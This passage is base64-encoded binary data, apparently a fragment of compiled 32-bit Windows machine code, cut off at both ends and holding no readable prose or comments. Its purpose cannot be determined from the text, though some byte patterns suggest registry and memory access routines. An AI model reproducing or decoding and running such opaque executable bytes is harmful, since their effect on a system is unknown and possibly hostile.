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/FVhyQgBQaDjiQwDoDCD//1lZ/3X4/xVEcEIAU/918P8VGHBCAItF7F9eW8nDVYvsgexkAQAAuMjPRACJRbSJRby4/MVDAFMz24mFUP///4mFYP///7jMxUMAVr4UxkMAiYVw////iUWAjYXg/v//V4ld3IldwIld4Ild6Ild1Ild2Ild7Ild9IldsIlduIld+Im14P7//8eF5P7//7jiQwDHhej+//9BQUFBiZ3s/v//ibXw/v//x4X0/v//xOJDAMeF+P7//0JCQkKJnfz+//+JtQD////HhQT////U4kMAx4UI////Q0NDQ4mdDP///4m1EP///8eFFP////TiQwDHhRj///9EREREiZ0c////ibUg////x4Uk////BONDAMeFKP///0VFRUWJnSz///+JtTD////HhTT///8U40MAx4U4////RkZGRomdPP///4m1QP///8eFRP///zDjQwDHhUj///9HR0dHiZ1M////x4VU////UONDAMeFWP///0hISEiJnVz////HhWT///9040MAx4Vo////SUlJSYmdbP///8eFdP///5jjQwDHhXj///9KSkpKiZ18////x0WEqONDAMdFiEtLS0uJXYzHRZDoxUMAx0WUtONDAMdFmExMTEyJXZzHRagMAAAAiUWsOR0o0EQAD4V4AQAAU1NovONDAP91DP91COigT///g8QUhcAPhOkAAAD/NUTRRAC5oMREAGoE6OYf//+L+FlZO/sPhK4DAACLRwiJRbCLRxCJRbiNRfRoOAQAAFDonAMAAFlZhcAPhG8DAABW/3X0jYW0/v//6BEm//9ZWYXAdHr/dQyLhbT+////dQiJhdD+//+Lhbj+//+JhdT+//+Lhbz+//+Jhdj+//+LdwxotE1BAP93FI1FuFD/dwSNRbBQjYXQ/v//xwUo0EQAAQAAAOgSHv//g8QchcB1E/8VWHJCAFBoyONDAOg9Hf//WVmJHSjQRADp4AIAAP8VWHJCAFBoMORDAOgfHf//WVnpyAIAADkdKNBEAHVqU1No5ORDAP91DP91COiSTv//g8QUhcB0UY1F9Gg6BAAAUOi8AgAAWVmFwHQ9jUWoULghc0EAuT94QQAryFFQi0X0jY3I/v//6J45//+DxAyFwHQLjYXI/v//iUX46wto+ORDAOinHP//WWoGWTPAjb2c/v//86u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